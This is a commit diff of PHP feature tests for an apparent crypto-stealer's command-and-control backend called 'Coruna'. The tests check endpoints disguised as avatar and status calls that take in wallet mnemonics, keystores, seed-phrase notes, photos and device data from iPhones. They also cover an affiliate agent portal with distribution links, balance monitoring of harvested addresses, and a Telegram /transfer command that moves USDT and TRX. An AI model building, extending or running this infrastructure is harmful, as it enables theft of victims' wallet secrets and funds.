This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
@@ -0,0 +1,212 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Services\ChannelProjectService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class AdminAgentPortalTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function users_and_channels_tables_exist_via_models(): void
{
$user = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
'comment' => 'test',
]);
$channel = Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'user_id' => $user->id,
'status' => 1,
'remark' => 'demo',
]);
config(['coruna.channel_domains' => ['cdn.example.com']]);
$this->assertDatabaseHas('users', ['username' => 'agent1']);
$this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]);
$this->assertSame(
['https://cdn.example.com/web/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/support.html'],
$channel->supportLinks()
);
}
#[Test]
public function disabled_agent_cannot_login(): void
{
User::query()->create([
'username' => 'disabled',
'password' => 'secret12',
'status' => 0,
]);
$this->post('/user/login', [
'username' => 'disabled',
'password' => 'secret12',
])->assertSessionHasErrors('username');
$this->assertGuest('agent');
}
#[Test]
public function enabled_agent_can_login(): void
{
User::query()->create([
'username' => 'okagent',
'password' => 'secret12',
'status' => 1,
]);
$this->post('/user/login', [
'username' => 'okagent',
'password' => 'secret12',
])->assertRedirect(route('user.home'));
$this->assertAuthenticated('agent');
}
#[Test]
public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void
{
config(['coruna.channel_domains' => ['fallback.test']]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$projects = Mockery::mock(ChannelProjectService::class);
$projects->shouldReceive('generate')->once()->with(Mockery::type('string'));
$this->app->instance(ChannelProjectService::class, $projects);
$random = $this->actingAs($admin, 'admin')
->get(route('admin.channels.randomId'))
->assertOk()
->assertJsonPath('code', 0)
->json('data.channel_id');
$this->assertIsString($random);
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random);
$channelId = Channel::randomChannelId();
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId);
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => $channelId,
'user_id' => 0,
'remark' => 'official',
'status' => 1,
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html');
$this->assertDatabaseHas('channels', [
'channel_id' => $channelId,
'user_id' => 0,
'remark' => 'official',
]);
}
#[Test]
public function agent_only_sees_own_channel_devices_and_addresses(): void
{
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
$chB = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devA = Device::query()->create([
'device_id' => 'dev-a',
'channel_id' => $chA,
'device_model' => 'iPhone',
]);
$devB = Device::query()->create([
'device_id' => 'dev-b',
'channel_id' => $chB,
'device_model' => 'iPhone',
]);
WalletAddress::query()->create([
'device_id' => $devA->id,
'address' => 'addr-a',
'source' => 'imToken',
'chain_type' => 'ETH',
]);
WalletAddress::query()->create([
'device_id' => $devB->id,
'address' => 'addr-b',
'source' => 'imToken',
'chain_type' => 'ETH',
]);
$this->actingAs($agentA, 'agent')
->getJson(route('user.devices.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-a');
$this->actingAs($agentA, 'agent')
->getJson(route('user.addresses.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.address', 'addr-a');
$this->actingAs($agentA, 'agent')
->get(route('user.devices.show', $devB))
->assertForbidden();
}
#[Test]
public function admin_agent_filter_scopes_devices(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]);
$ch = 'dddddddddddddddddddddddddddddddd';
Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]);
Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]);
Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'mine');
}
#[Test]
public function dashboard_counts_smoke(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
Device::query()->create(['device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d']))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 2)
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'from', 'to']]);
}
#[Test]
public function agent_cannot_create_channel(): void
{
$agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$this->actingAs($agent, 'agent')
->post('/user/channels', [
'channel_id' => 'gggggggggggggggggggggggggggggggg',
'status' => 1,
])
->assertStatus(405);
}
}
+156 -43
View File
@@ -8,8 +8,9 @@ use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
@@ -29,6 +30,43 @@ class C2ApiTest extends TestCase
->assertSee('OK');
}
#[Test]
public function upsert_refreshes_updated_at_on_repeat_request(): void
{
$crypto = new CorunaCrypto;
$payload = [
'd' => 'dev-active-1',
'm' => 'iPhone9,1',
'pv' => '15.8.4',
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
];
$ts1 = '1722585600001';
$enc1 = $crypto->encryptJson($payload, $ts1);
$this->call('POST', '/api/user/avatar/set', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts1,
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
], $enc1['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-active-1')->first();
$this->assertNotNull($device);
$firstUpdated = $device->updated_at?->copy();
$this->assertNotNull($firstUpdated);
sleep(1);
$ts2 = '1722585600002';
$enc2 = $crypto->encryptJson($payload, $ts2);
$this->call('POST', '/api/user/avatar/set', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts2,
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
], $enc2['body'])->assertOk();
$device->refresh();
$this->assertTrue($device->updated_at->greaterThan($firstUpdated));
}
#[Test]
public function avatar_set_ingests_device_model_and_ua(): void
{
@@ -144,8 +182,8 @@ class C2ApiTest extends TestCase
$tsSet = '1722585600456';
$encSet = $crypto->encryptJson([
'd' => 'dev-wallet-1',
'a' => 'a1',
'result' => $mnemonic,
'pn' => 'io.metamask',
], $tsSet);
$this->call('POST', '/api/user/set', [], [], [], [
@@ -155,16 +193,31 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', 'dev-wallet-1')->first();
$this->assertNotNull($device);
$wallet = Wallet::query()->where('device_id', $device->id)->first();
$wallet = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($wallet);
$this->assertSame($mnemonic, $wallet->mnemonic);
$this->assertSame('abandon *** about', Wallet::maskSecret($wallet->mnemonic));
$this->assertSame('MetaMask', $wallet->source);
$this->assertSame('abandon *** about', WalletMnemonic::maskSecret($wallet->mnemonic));
// repeated /api/user/set with same mnemonic must not create another row
$tsSet2 = '1722585600457';
$encSet2 = $crypto->encryptJson([
'd' => 'dev-wallet-1',
'a' => 'a1',
'result' => $mnemonic,
], $tsSet2);
$this->call('POST', '/api/user/set', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $tsSet2,
], $encSet2['body'])->assertOk();
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
$tsStatus = '1722585600789';
$encStatus = $crypto->encryptJson([
'd' => 'dev-wallet-1',
'a' => 'a1',
'data' => [
['address' => '0xabc123', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'],
['address' => '0xabc1230000000000000000000000000000000001', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'],
],
], $tsStatus);
@@ -173,18 +226,52 @@ class C2ApiTest extends TestCase
'HTTP_TIMESTAMP' => $tsStatus,
], $encStatus['body'])->assertOk();
$this->assertTrue(
WalletAddress::query()
->where('device_id', $device->id)
->where('address', '0xabc123')
->where('chain', 'eth')
->exists()
);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', '0xabc1230000000000000000000000000000000001')
->first();
$this->assertNotNull($addr);
$this->assertSame('ETH', $addr->chain_type);
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
$this->assertSame(0, (int) $addr->monitor);
$this->assertSame('MetaMask', $addr->source);
$logFile = public_path('log/c2/'.date('Ymd').'.log');
$this->assertFileExists($logFile);
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
}
#[Test]
public function status_global_wallet_ad_map_stores_empty_balance(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600777';
$enc = $crypto->encryptJson([
'd' => 'dev-global-ad-1',
'a' => 'p',
'ad' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-global-ad-1')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('Global Wallet', $addr->source);
$this->assertSame('TRON', $addr->chain_type);
$this->assertNull($addr->trx);
$this->assertNull($addr->usdt);
$this->assertSame(0, (int) $addr->monitor);
}
#[Test]
public function status_ingests_har_shaped_ba_address_map(): void
{
@@ -192,7 +279,7 @@ class C2ApiTest extends TestCase
$ts = '1722585600888';
$enc = $crypto->encryptJson([
'd' => 'dev-ba-1',
'a' => 'tp',
'a' => 'b1',
'ba' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
[
@@ -204,7 +291,7 @@ class C2ApiTest extends TestCase
'symbol' => 'USDT',
],
[
'balance' => '12.5',
'balance' => '4000006',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
@@ -227,20 +314,22 @@ class C2ApiTest extends TestCase
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('tron', $addr->chain);
$this->assertSame('12.5', $addr->balance);
$this->assertSame('TRX', $addr->symbol);
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
$this->assertSame('TRON', $addr->chain_type);
$this->assertSame('imToken', $addr->source);
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
$this->assertEqualsWithDelta(4.000006, (float) $addr->trx, 0.0000001);
$this->assertSame('4.000006', WalletAddress::formatAmount('trx', $addr->trx));
$this->assertSame('0', WalletAddress::formatAmount('usdt', $addr->usdt));
}
#[Test]
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
public function avatar_status_stores_keystore_blob(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600999';
$enc = $crypto->encryptJson([
'd' => 'dev-ks-1',
'a' => 'im',
'a' => 'b',
'result' => [
'crypto' => [
'cipher' => 'aes-128-ctr',
@@ -259,10 +348,9 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
$this->assertNotNull($device);
$wallet = Wallet::query()->where('device_id', $device->id)->first();
$this->assertNotNull($wallet);
$this->assertNull($wallet->mnemonic);
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
}
#[Test]
@@ -272,9 +360,9 @@ class C2ApiTest extends TestCase
$ts = '1722585601111';
$enc = $crypto->encryptJson([
'd' => 'dev-notes-1',
'notes' => [
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
['name' => 'shopping', 'text' => 'milk'],
'list' => [
"spawn rabbit unusual favorite yard recipe\n(R(R",
'second note line',
],
], $ts);
@@ -285,10 +373,12 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
$this->assertNotNull($device);
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
$this->assertNotNull($first);
$this->assertStringContainsString('abandon', (string) $first->body);
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertNotNull($note);
$this->assertIsArray($note->content);
$this->assertCount(2, $note->content);
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
}
#[Test]
@@ -320,9 +410,9 @@ class C2ApiTest extends TestCase
'd' => 'dev-photo-1',
'f' => 'dev-photo-1',
'batchBase' => '0',
'count' => '1',
'total' => '1',
'index' => '0',
'idx' => '000001000000',
'ftu' => '000001000000',
'x-hit' => '12',
],
[],
['file' => $upload],
@@ -336,6 +426,11 @@ class C2ApiTest extends TestCase
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
$this->assertSame(12, $photo->x_hit);
$this->assertSame(1, $photo->upload_count);
$this->assertSame(0, $photo->process_index);
$this->assertSame(1, $photo->text_count);
$this->assertSame(0, $photo->barcode_count);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@@ -479,26 +574,44 @@ class C2ApiTest extends TestCase
$this->get('/admin/devices')
->assertOk()
->assertSee('dev-x')
->assertSee('iPhone14,2')
->assertSee('设备 ID')
->assertSee('安装时间')
->assertSee('更新时间')
->assertSee('详情')
->assertSee('LAY-device-list')
->assertDontSee('User-Agent');
$this->get('/admin/devices?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3')
$this->getJson('/admin/devices/data')
->assertOk()
->assertSee('dev-x');
->assertJsonPath('code', 0)
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-x')
->assertJsonPath('data.0.device_model', 'iPhone14,2');
$this->get('/admin/devices?device_key=no-such-device')
$this->getJson('/admin/devices/data?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3')
->assertOk()
->assertSee('暂无设备');
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-x');
$this->getJson('/admin/devices/data?device_key=no-such-device')
->assertOk()
->assertJsonPath('count', 0)
->assertJsonPath('data', []);
$device = Device::query()->where('device_id', 'dev-x')->firstOrFail();
$this->get(route('admin.devices.show', [$device, 'tab' => 'apps']))
->assertOk()
->assertSee('应用列表')
->assertSee('钱包地址')
->assertSee('助记词')
->assertSee('相册')
->assertSee('已装 APP')
->assertSee('备忘录')
->assertSee('日志')
->assertDontSee('概览');
->assertDontSee('Keystore')
->assertDontSee('概览')
->assertDontSee('返回列表');
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps']))
->assertOk()
->assertJsonPath('code', 0);
}
}
+133
View File
@@ -0,0 +1,133 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Setting;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class SystemAdminTest extends TestCase
{
use RefreshDatabase;
private function superAdmin(): Admin
{
return Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
}
private function normalAdmin(): Admin
{
return Admin::query()->create([
'username' => 'staff',
'password' => 'secret12',
'is_super' => 0,
]);
}
#[Test]
public function normal_admin_cannot_access_system_routes(): void
{
$staff = $this->normalAdmin();
$this->actingAs($staff, 'admin')
->get(route('admin.system.settings.index'))
->assertForbidden();
$this->actingAs($staff, 'admin')
->get(route('admin.system.admins.index'))
->assertForbidden();
}
#[Test]
public function super_admin_sees_system_menu_normal_does_not(): void
{
$this->actingAs($this->superAdmin(), 'admin')
->get(route('admin.home'))
->assertOk()
->assertSee('系统')
->assertSee('设置')
->assertSee('管理员');
$this->actingAs($this->normalAdmin(), 'admin')
->get(route('admin.home'))
->assertOk()
->assertDontSee('lay-href="'.route('admin.system.settings.index').'"', false);
}
#[Test]
public function super_admin_can_save_settings(): void
{
$super = $this->superAdmin();
$this->actingAs($super, 'admin')
->post(route('admin.system.settings.update'), [
'telegram_bot_token' => 'bot:token',
'telegram_owner_chat_id' => '-1001',
'channels_max_per_agent' => 5,
'channels_domains' => "cdn1.example.com\nhttps://cdn2.example.com/",
])
->assertOk()
->assertJsonPath('code', 0);
$this->assertSame('bot:token', Setting::query()->where('key', 'telegram.bot_token')->value('value'));
$this->assertSame('bot:token', config('coruna.telegram.bot_token'));
$this->assertSame(5, (int) config('coruna.channels.max_per_agent'));
$this->assertSame(['cdn1.example.com', 'cdn2.example.com'], config('coruna.channel_domains'));
$this->assertSame(
'cdn1.example.com,cdn2.example.com',
Setting::query()->where('key', 'channels.domains')->value('value')
);
}
#[Test]
public function super_admin_can_crud_admins(): void
{
$super = $this->superAdmin();
$this->actingAs($super, 'admin')
->post(route('admin.system.admins.store'), [
'username' => 'newstaff',
'password' => 'secret12',
'is_super' => 0,
])
->assertOk()
->assertJsonPath('code', 0);
$staff = Admin::query()->where('username', 'newstaff')->first();
$this->assertNotNull($staff);
$this->assertSame(0, (int) $staff->is_super);
$this->actingAs($super, 'admin')
->putJson(route('admin.system.admins.update', $staff), [
'password' => 'newpass12',
'is_super' => 0,
])
->assertOk()
->assertJsonPath('code', 0);
$this->actingAs($super, 'admin')
->deleteJson(route('admin.system.admins.destroy', $staff))
->assertOk()
->assertJsonPath('code', 0);
$this->assertDatabaseMissing('admins', ['username' => 'newstaff']);
}
#[Test]
public function cannot_delete_last_super_admin(): void
{
$super = $this->superAdmin();
$this->actingAs($super, 'admin')
->deleteJson(route('admin.system.admins.destroy', $super))
->assertStatus(422);
$this->assertDatabaseHas('admins', ['id' => $super->id]);
}
}
+155
View File
@@ -0,0 +1,155 @@
<?php
namespace Tests\Feature;
use App\Services\TransferService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
use SergiX44\Nutgram\Telegram\Properties\ChatType;
use SergiX44\Nutgram\Testing\FakeNutgram;
use Tests\TestCase;
class TelegramBotTest extends TestCase
{
use RefreshDatabase;
private const OWNER_CHAT = -1001234567890;
private const USER_ID = 4242;
protected function setUp(): void
{
parent::setUp();
config([
'coruna.telegram.owner_chat_id' => (string) self::OWNER_CHAT,
'coruna.telegram.webhook_secret' => 'test-secret',
'nutgram.token' => FakeNutgram::TOKEN,
]);
// Nutgram is a singleton; reset so FakeNutgram mock queues stay isolated.
$this->app->forgetInstance(Nutgram::class);
$this->app->forgetInstance('nutgram');
$this->app->forgetInstance('telegram');
$this->app->forgetInstance(FakeNutgram::class);
}
#[Test]
public function webhook_rejects_bad_secret(): void
{
$this->postJson('/hooks/telegram', ['update_id' => 1], [
'X-Telegram-Bot-Api-Secret-Token' => 'wrong',
])->assertForbidden();
}
#[Test]
public function webhook_accepts_valid_secret(): void
{
$this->call(
'POST',
'/hooks/telegram',
[],
[],
[],
[
'CONTENT_TYPE' => 'application/json',
'HTTP_X_TELEGRAM_BOT_API_SECRET_TOKEN' => 'test-secret',
],
json_encode(['update_id' => 1])
)->assertNoContent();
}
#[Test]
public function unauthorized_chat_is_silent(): void
{
/** @var FakeNutgram $bot */
$bot = app(Nutgram::class);
$bot->hearMessage([
'text' => '/ping',
'chat' => ['id' => 999, 'type' => ChatType::SUPERGROUP->value],
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
])->reply();
$bot->assertCalled('sendMessage', 0);
}
#[Test]
public function non_admin_is_rejected(): void
{
/** @var FakeNutgram $bot */
$bot = app(Nutgram::class);
$bot->willReceivePartial([
'status' => ChatMemberStatus::MEMBER->value,
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
]);
$bot->hearMessage([
'text' => '/ping',
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
])->reply();
// index 0 is getChatMember; reject reply follows
$bot->assertReplyText('⛔ Only group admins can use this command.', 1);
}
#[Test]
public function admin_ping_replies_pong(): void
{
/** @var FakeNutgram $bot */
$bot = app(Nutgram::class);
$bot->willReceivePartial([
'status' => ChatMemberStatus::ADMINISTRATOR->value,
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
'can_manage_chat' => true,
]);
$bot->hearMessage([
'text' => '/ping',
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
])->reply();
$bot->assertReplyText('pong', 1);
}
#[Test]
public function admin_transfer_calls_transfer_service(): void
{
$mock = Mockery::mock(TransferService::class);
$mock->shouldReceive('handle')
->once()
->with('tron', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', '10', 'USDT')
->andReturn([
'ok' => true,
'txid' => 'deadbeef',
'from' => 'TFromAddressxxxxxxxxxxxxxxxxxxxxxxx',
]);
$this->app->instance(TransferService::class, $mock);
/** @var FakeNutgram $bot */
$bot = app(Nutgram::class);
$bot->willReceivePartial([
'status' => ChatMemberStatus::CREATOR->value,
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
]);
$bot->hearMessage([
'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH 10 USDT',
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
])->reply();
// getChatMember + "⏳ …" + success
$bot->assertCalled('sendMessage', 2);
$history = $bot->getRequestHistory();
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
$this->assertStringContainsString('deadbeef', $last['text'] ?? '');
}
}
@@ -0,0 +1,172 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
use App\Services\Tokenview\TokenviewClient;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class TokenviewWebhookTest extends TestCase
{
use RefreshDatabase;
private function sign(string $body, string $key): string
{
return hash_hmac('sha256', $body, $key);
}
private function seedMonitoredAddress(array $overrides = []): WalletAddress
{
$device = Device::query()->create([
'device_id' => 'dev-tv-1',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
return WalletAddress::query()->create(array_merge([
'device_id' => $device->id,
'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f',
'chain_type' => 'ETH',
'source' => 'imToken',
'eth' => 1.0,
'usdt' => 10.0,
'monitor' => 1,
], $overrides));
}
#[Test]
public function webhook_rejects_bad_signature_when_sign_key_configured(): void
{
config(['coruna.tokenview.sign_key' => 'secret-sign']);
$body = json_encode(['address' => '0xabc', 'txid' => '0x1', 'coin' => 'ETH', 'value' => '1']);
$this->call(
'POST',
'/hooks/tokenview',
[],
[],
[],
[
'CONTENT_TYPE' => 'application/json',
'HTTP_X_TOKENVIEW_SIGNATURE' => 'deadbeef',
],
$body
)->assertStatus(401);
}
#[Test]
public function webhook_applies_inbound_delta_and_dedupes_txid(): void
{
config(['coruna.tokenview.sign_key' => 'secret-sign']);
$addr = $this->seedMonitoredAddress();
$payload = [
'address' => '0xAb5c66752a9e8167967685f1450532fb96d5d24f',
'txid' => '0xdf244cbc60f4220e5d90de0833b647bd7f376f5132314a1672dd9b5128302659',
'coin' => 'ETH',
'value' => '0.5',
'tokenSymbol' => 'USDT',
'tokenValue' => '100',
];
$body = json_encode($payload);
$headers = [
'CONTENT_TYPE' => 'application/json',
'HTTP_X_TOKENVIEW_SIGNATURE' => $this->sign($body, 'secret-sign'),
];
$this->call('POST', '/hooks/tokenview', [], [], [], $headers, $body)
->assertOk()
->assertSee('ok');
$addr->refresh();
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
$this->assertEqualsWithDelta(110.0, (float) $addr->usdt, 0.0000001);
$this->assertSame(1, TokenviewEvent::query()->count());
// Retry same event — no double apply
$this->call('POST', '/hooks/tokenview', [], [], [], $headers, $body)
->assertOk();
$addr->refresh();
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
$this->assertEqualsWithDelta(110.0, (float) $addr->usdt, 0.0000001);
$this->assertSame(1, TokenviewEvent::query()->count());
}
#[Test]
public function webhook_ignores_address_when_monitor_off(): void
{
config(['coruna.tokenview.sign_key' => '']);
$addr = $this->seedMonitoredAddress(['monitor' => 0, 'eth' => 2.0]);
$payload = [
'address' => $addr->address,
'txid' => '0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'coin' => 'ETH',
'value' => '3',
];
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
$addr->refresh();
$this->assertEqualsWithDelta(2.0, (float) $addr->eth, 0.0000001);
$this->assertSame(0, TokenviewEvent::query()->count());
}
#[Test]
public function monitor_toggle_calls_tokenview_add_and_remove(): void
{
config(['coruna.tokenview.api_key' => 'test-key']);
Http::fake([
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success', 'data' => null], 200),
]);
$admin = \App\Models\Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$addr = $this->seedMonitoredAddress(['monitor' => 0]);
$this->actingAs($admin, 'admin')
->putJson(route('admin.addresses.update', $addr), ['monitor' => 1])
->assertOk()
->assertJsonPath('data.monitor', 1);
Http::assertSent(function ($request) {
return str_contains($request->url(), '/monitor/address/add/eth/')
&& str_contains($request->url(), strtolower('0xab5c66752a9e8167967685f1450532fb96d5d24f'));
});
$this->actingAs($admin, 'admin')
->putJson(route('admin.addresses.update', $addr), ['monitor' => 0])
->assertOk();
Http::assertSent(function ($request) {
return str_contains($request->url(), '/monitor/address/remove/eth/');
});
}
#[Test]
public function set_webhook_command_posts_url(): void
{
config([
'coruna.tokenview.api_key' => 'test-key',
'coruna.tokenview.base_url' => 'https://services.tokenview.io/vipapi',
'app.url' => 'https://example.test',
]);
Http::fake([
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
]);
$this->artisan('tokenview:set-webhook')
->assertSuccessful();
Http::assertSent(function ($request) {
return str_contains($request->url(), '/monitor/setwebhookurl')
&& $request->body() === 'https://example.test/hooks/tokenview';
});
$this->assertTrue(app(TokenviewClient::class)->enabled());
}
}
@@ -0,0 +1,110 @@
<?php
namespace Tests\Feature;
use App\Services\TransferService;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class TransferServiceTest extends TestCase
{
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.hot_wallet.mnemonic' => self::MNEMONIC,
'coruna.hot_wallet.index' => 0,
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.transfer.max_usdt' => '0',
'coruna.transfer.max_trx' => '0',
]);
}
#[Test]
public function sends_native_trx_via_trongrid_http(): void
{
Http::fake([
'*/wallet/createtransaction' => Http::response([
'txID' => str_repeat('ab', 32),
'raw_data' => ['contract' => []],
'raw_data_hex' => '0a00',
], 200),
'*/wallet/broadcasttransaction' => Http::response([
'result' => true,
'txid' => str_repeat('ab', 32),
], 200),
]);
$result = app(TransferService::class)->handle('tron', self::TO, '1.5', 'TRX');
$this->assertTrue($result['ok']);
$this->assertSame(str_repeat('ab', 32), $result['txid']);
$this->assertSame(self::FROM, $result['from']);
Http::assertSent(function ($request) {
